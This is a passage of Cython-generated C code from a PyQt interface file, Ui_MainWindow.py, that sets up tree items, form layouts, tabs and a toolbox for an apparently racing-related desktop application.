__Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":624 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) * self.Tab_Container.addTab(self.T_Racer_Race, "") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setCheckState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 624, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":625 * item_1.setStatusTip(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Racer_Race, "") * self.T_RaceModel = QtWidgets.QWidget() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_25, __pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_25, __pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_25); __Pyx_GIVEREF(__pyx_int_25); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_25); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 2+__pyx_t_8, __pyx_t_4); __pyx_t_3 = 0; __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 625, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":626 * item_1.setCheckState(0, QtCore.Qt.Unchecked) * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) * self.Tab_Container.addTab(self.T_Racer_Race, "") # <<<<<<<<<<<<<< * self.T_RaceModel = QtWidgets.QWidget() * self.T_RaceModel.setObjectName("T_RaceModel") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addTab); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_t_1); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 626, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":627 * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) * self.Tab_Container.addTab(self.T_Racer_Race, "") * self.T_RaceModel = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_RaceModel.setObjectName("T_RaceModel") * self.Tab_Container.addTab(self.T_RaceModel, "") */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 627, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 627, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_9) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 627, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 627, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_RaceModel, __pyx_t_6) < 0) __PYX_ERR(0, 627, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":628 * self.Tab_Container.addTab(self.T_Racer_Race, "") * self.T_RaceModel = QtWidgets.QWidget() * self.T_RaceModel.setObjectName("T_RaceModel") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_RaceModel, "") * self.T_Race = QtWidgets.QWidget() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_RaceModel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 628, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 628, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__403, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 628, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":629 * self.T_RaceModel = QtWidgets.QWidget() * self.T_RaceModel.setObjectName("T_RaceModel") * self.Tab_Container.addTab(self.T_RaceModel, "") # <<<<<<<<<<<<<< * self.T_Race = QtWidgets.QWidget() * self.T_Race.setObjectName("T_Race") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addTab); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_RaceModel); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_3); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 629, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":630 * self.T_RaceModel.setObjectName("T_RaceModel") * self.Tab_Container.addTab(self.T_RaceModel, "") * self.T_Race = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Race.setObjectName("T_Race") * self.toolBox = QtWidgets.QToolBox(self.T_Race) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 630, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 630, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 630, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 630, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Race, __pyx_t_6) < 0) __PYX_ERR(0, 630, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":631 * self.Tab_Container.addTab(self.T_RaceModel, "") * self.T_Race = QtWidgets.QWidget() * self.T_Race.setObjectName("T_Race") # <<<<<<<<<<<<<< * self.toolBox = QtWidgets.QToolBox(self.T_Race) * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Race); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 631, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 631, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__404, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 631, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":632 * self.T_Race = QtWidgets.QWidget() * self.T_Race.setObjectName("T_Race") * self.toolBox = QtWidgets.QToolBox(self.T_Race) # <<<<<<<<<<<<<< * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QToolBox); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Race); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_toolBox, __pyx_t_6) < 0) __PYX_ERR(0, 632, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":633 * self.T_Race.setObjectName("T_Race") * self.toolBox = QtWidgets.QToolBox(self.T_Race) * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__405, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 